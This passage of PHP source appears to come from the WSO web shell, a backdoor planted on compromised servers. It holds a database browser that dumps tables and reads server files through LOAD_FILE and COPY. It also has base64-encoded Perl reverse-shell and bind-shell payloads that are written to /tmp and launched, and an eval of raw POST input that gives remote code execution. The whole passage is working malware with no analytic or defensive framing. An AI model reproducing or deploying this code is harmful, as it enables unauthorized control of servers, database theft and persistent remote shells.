1306 case 'mysql':
1307 if(function_exists('mysql_set_charset'))
1308 return @mysql_set_charset($str, $this->link);
1309 else
1310 $this->query('SET CHARSET '.$str);
1311 break;
1312 case 'pgsql':
1313 return @pg_set_client_encoding($this->link, $str);
1314 break;
1315 }
1316 return false;
1317 }
1318 function loadFile($str) {
1319 switch($this->type) {
1320 case 'mysql':
1321 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1322 break;
1323 case 'pgsql':
1324 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1325 $r=array();
1326 while($i=$this->fetch())
1327 $r[] = $i['file'];
1328 $this->query('drop table wso2');
1329 return array('file'=>implode("\n",$r));
1330 break;
1331 }
1332 return false;
1333 }
1334 function dump($table, $fp = false) {
1335 switch($this->type) {
1336 case 'mysql':
1337 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1338 $create = mysql_fetch_array($res);
1339 $sql = $create[1].";\n";
1340 if($fp) fwrite($fp, $sql); else echo($sql);
1341 $this->query('SELECT * FROM `'.$table.'`');
1342 $i = 0;
1343 $head = true;
1344 while($item = $this->fetch()) {
1345 $sql = '';
1346 if($i % 1000 == 0) {
1347 $head = true;
1348 $sql = ";\n\n";
1349 }
1350
1351 $columns = array();
1352 foreach($item as $k=>$v) {
1353 if($v === null)
1354 $item[$k] = "NULL";
1355 elseif(is_int($v))
1356 $item[$k] = $v;
1357 else
1358 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1359 $columns[] = "`".$k."`";
1360 }
1361 if($head) {
1362 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1363 $head = false;
1364 } else
1365 $sql .= "\n\t,(".implode(", ", $item).')';
1366 if($fp) fwrite($fp, $sql); else echo($sql);
1367 $i++;
1368 }
1369 if(!$head)
1370 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1371 break;
1372 case 'pgsql':
1373 $this->query('SELECT * FROM '.$table);
1374 while($item = $this->fetch()) {
1375 $columns = array();
1376 foreach($item as $k=>$v) {
1377 $item[$k] = "'".addslashes($v)."'";
1378 $columns[] = $k;
1379 }
1380 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1381 if($fp) fwrite($fp, $sql); else echo($sql);
1382 }
1383 break;
1384 }
1385 return false;
1386 }
1387 };
1388 $db = new DbClass($_POST['type']);
1389 if(@$_POST['p2']=='download') {
1390 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1391 $db->selectdb($_POST['sql_base']);
1392 switch($_POST['charset']) {
1393 case "Windows-1251": $db->setCharset('cp1251'); break;
1394 case "UTF-8": $db->setCharset('utf8'); break;
1395 case "KOI8-R": $db->setCharset('koi8r'); break;
1396 case "KOI8-U": $db->setCharset('koi8u'); break;
1397 case "cp866": $db->setCharset('cp866'); break;
1398 }
1399 if(empty($_POST['file'])) {
1400 ob_start("ob_gzhandler", 4096);
1401 header("Content-Disposition: attachment; filename=dump.sql");
1402 header("Content-Type: text/plain");
1403 foreach($_POST['tbl'] as $v)
1404 $db->dump($v);
1405 exit;
1406 } elseif($fp = @fopen($_POST['file'], 'w')) {
1407 foreach($_POST['tbl'] as $v)
1408 $db->dump($v, $fp);
1409 fclose($fp);
1410 unset($_POST['p2']);
1411 } else
1412 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1413 }
1414 wsoHeader();
1415 echo "
1416<h1>Sql browser</h1><div class=content>
1417<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1418<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1419<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1420<td><select name='type'><option value='mysql' ";
1421 if(@$_POST['type']=='mysql')echo 'selected';
1422echo ">MySql</option><option value='pgsql' ";
1423if(@$_POST['type']=='pgsql')echo 'selected';
1424echo ">PostgreSql</option></select></td>
1425<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1426<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1427<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1428 $tmp = "<input type=text name=sql_base value=''>";
1429 if(isset($_POST['sql_host'])){
1430 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1431 switch($_POST['charset']) {
1432 case "Windows-1251": $db->setCharset('cp1251'); break;
1433 case "UTF-8": $db->setCharset('utf8'); break;
1434 case "KOI8-R": $db->setCharset('koi8r'); break;
1435 case "KOI8-U": $db->setCharset('koi8u'); break;
1436 case "cp866": $db->setCharset('cp866'); break;
1437 }
1438 $db->listDbs();
1439 echo "<select name=sql_base><option value=''></option>";
1440 while($item = $db->fetch()) {
1441 list($key, $value) = each($item);
1442 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1443 }
1444 echo '</select>';
1445 }
1446 else echo $tmp;
1447 }else
1448 echo $tmp;
1449 echo "</td>
1450 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1451 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1452 </tr>
1453 </table>
1454 <script>
1455 s_db='".@addslashes($_POST['sql_base'])."';
1456 function fs(f) {
1457 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1458 if(f.p1) f.p1.value='';
1459 if(f.p2) f.p2.value='';
1460 if(f.p3) f.p3.value='';
1461 }
1462 }
1463 function st(t,l) {
1464 d.sf.p1.value = 'select';
1465 d.sf.p2.value = t;
1466 if(l && d.sf.p3) d.sf.p3.value = l;
1467 d.sf.submit();
1468 }
1469 function is() {
1470 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1471 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1472 }
1473 </script>";
1474 if(isset($db) && $db->link){
1475 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1476 if(!empty($_POST['sql_base'])){
1477 $db->selectdb($_POST['sql_base']);
1478 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1479 $tbls_res = $db->listTables();
1480 while($item = $db->fetch($tbls_res)) {
1481 list($key, $value) = each($item);
1482 if(!empty($_POST['sql_count']))
1483 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1484 $value = htmlspecialchars($value);
1485 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1486 }
1487 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1488 if(@$_POST['p1'] == 'select') {
1489 $_POST['p1'] = 'query';
1490 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1491 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1492 $num = $db->fetch();
1493 $pages = ceil($num['n'] / 30);
1494 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1495 echo " of $pages";
1496 if($_POST['p3'] > 1)
1497 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1498 if($_POST['p3'] < $pages)
1499 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1500 $_POST['p3']--;
1501 if($_POST['type']=='pgsql')
1502 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1503 else
1504 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1505 echo "<br><br>";
1506 }
1507 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1508 $db->query(@$_POST['p2']);
1509 if($db->res !== false) {
1510 $title = false;
1511 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1512 $line = 1;
1513 while($item = $db->fetch()) {
1514 if(!$title) {
1515 echo '<tr>';
1516 foreach($item as $key => $value)
1517 echo '<th>'.$key.'</th>';
1518 reset($item);
1519 $title=true;
1520 echo '</tr><tr>';
1521 $line = 2;
1522 }
1523 echo '<tr class="l'.$line.'">';
1524 $line = $line==1?2:1;
1525 foreach($item as $key => $value) {
1526 if($value == null)
1527 echo '<td><i>null</i></td>';
1528 else
1529 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1530 }
1531 echo '</tr>';
1532 }
1533 echo '</table>';
1534 } else {
1535 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1536 }
1537 }
1538 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1539 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1540 echo htmlspecialchars($_POST['p2']);
1541 echo "</textarea><br/><input type=submit value='Execute'>";
1542 echo "</td></tr>";
1543 }
1544 echo "</table></form><br/>";
1545 if($_POST['type']=='mysql') {
1546 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1547 if($db->fetch())
1548 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1549 }
1550 if(@$_POST['p1'] == 'loadfile') {
1551 $file = $db->loadFile($_POST['p2']);
1552 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1553 }
1554 } else {
1555 echo htmlspecialchars($db->error());
1556 }
1557 echo '</div>';
1558 wsoFooter();
1559}
1560function actionNetwork() {
1561 wsoHeader();
1562 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1563 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1564 echo "<h1>Network tools</h1><div class=content>
1565 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1566 <span>Bind port to /bin/sh [perl]</span><br/>
1567 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1568 </form>
1569 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1570 <span>Back-connect [perl]</span><br/>
1571 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1572 </form><br>";
1573 if(isset($_POST['p1'])) {
1574 function cf($f,$t) {
1575 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1576 if($w){
1577 @fwrite($w,@base64_decode($t));
1578 @fclose($w);
1579 }
1580 }
1581 if($_POST['p1'] == 'bpp') {
1582 cf("/tmp/bp.pl",$bind_port_p);
1583 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1584 sleep(1);
1585 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1586 unlink("/tmp/bp.pl");
1587 }
1588 if($_POST['p1'] == 'bcp') {
1589 cf("/tmp/bc.pl",$back_connect_p);
1590 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1591 sleep(1);
1592 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1593 unlink("/tmp/bc.pl");
1594 }
1595 }
1596 echo '</div>';
1597 wsoFooter();
1598}
1599function actionRC() {
1600 if(!@$_POST['p1']) {
1601 $a = array(
1602 "uname" => php_uname(),
1603 "php_version" => phpversion(),
1604 "wso_version" => WSO_VERSION,
1605 "safemode" => @ini_get('safe_mode')
1606 );
1607 echo serialize($a);
1608 } else {
1609 eval($_POST['p1']);
1610 }
1611}
1612if( empty($_POST['a']) )
1613 if(isset($default_action) && function_exists('action' . $default_action))
1614 $_POST['a'] = $default_action;
1615 else
1616 $_POST['a'] = 'SecInfo';
1617if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1618 call_user_func('action' . $_POST['a']);
1619exit;